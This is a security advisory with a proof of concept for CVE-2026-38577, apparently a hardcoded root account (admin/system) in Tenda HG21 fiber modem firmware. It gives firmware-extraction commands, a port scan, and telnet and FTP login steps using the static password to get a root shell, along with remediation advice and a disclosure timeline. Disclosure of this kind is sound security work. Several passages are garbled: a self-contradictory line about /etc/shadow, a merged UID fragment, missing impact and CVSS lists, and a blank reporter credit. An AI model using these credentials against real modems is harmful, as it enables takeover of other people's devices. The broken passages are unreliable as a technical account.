
Proof-of-concept demonstrating hardcoded root credentials (admin/system) in Tenda HG21 XPON modem firmware, enabling unauthorized root access via telnet and FTP.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-38577 |
| Vendor | Tenda |
| Product | Tenda HG21 (XPON Fiber Modem) |
| Affected Version | V4.0.0-260302 |
| Product Key | HG21-V1.0-TDE01 |
| Hardware Version | V1.0 |
| Firmware Build Date | 2026-03-02 |
| Firmware File | US_HG21re_300002982_en_xpon_2.zip |
| Vulnerability Class | CWE-798: Use of Hard-coded Credentials |
| Discoverer | Anmol Singh Rajput — Independent Security Researcher |
| Disclosure Status | Vendor not yet notified at time of CVE reservation — 90-day responsible disclosure timeline applies from CVE assignment date |
Firmware analysis of the Tenda HG21 XPON fiber modem revealed a hardcoded administrative account baked into the shipped firmware image. The account is granted full root privileges (UID 0) and its credentials are static across devices, meaning any attacker who can reach an exposed management service on a vulnerable unit can authenticate as root without needing to know the customer-set web-UI password.
/etc/passwd in the extracted firmware ships an admin entry with a
SHA256crypt password hash that resolves to the static value system.0 — i.e., it is root, not a restricted service
account./etc/shadow is present, so the weak/static hash in passwd is the
only gate protecting the account./etc/inetd.conf starts telnetd and ftpd, both spawned as root, so
the hardcoded account is reachable over the network, not just on a
serial/UART console.An attacker with network access to a vulnerable device's telnet (TCP/23)
or FTP (TCP/21) service can log in as admin using the static password
and obtain a root shell / root-level file access. This allows, at minimum:
CVSS vectors from the original submission (vendor scoring may differ once published):
This is a credential-based PoC — it demonstrates that the hardcoded account authenticates and grants root, not a memory-corruption exploit. Only run this against a device you own or are explicitly authorized to test.
# Extract firmware (binwalk or vendor tool of your choice)
binwalk -e US_HG21re_300002982_en_xpon_2.bin
# Locate and inspect the passwd file
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-hash-of-"system">:0:0:root:/root:/bin/sh
nmap -p 21,23 <target-ip>
telnet <target-ip>
# login: admin
# password: system
ftp <target-ip>
# Name: admin
# Password: system
A successful login on either service returns a root-privileged shell/FTP
session (id will report uid=0(root)).
admin/system account entirely,
or at minimum force a unique, per-device random password set at first
boot (not derivable from serial number alone).telnetd/ftpd by default; require an explicit opt-in and
authenticated, encrypted channel (SSH/SFTP) for remote administration.| Date | Event |
|---|---|
| 2026-03-02 | Vulnerable firmware build released |
| — | Discovered during independent firmware analysis |
| 2026-04-09 | CVE-2026-38577 reserved via MITRE |
| — | Vendor notification pending (90-day disclosure window from CVE assignment) |
Discovered and reported by: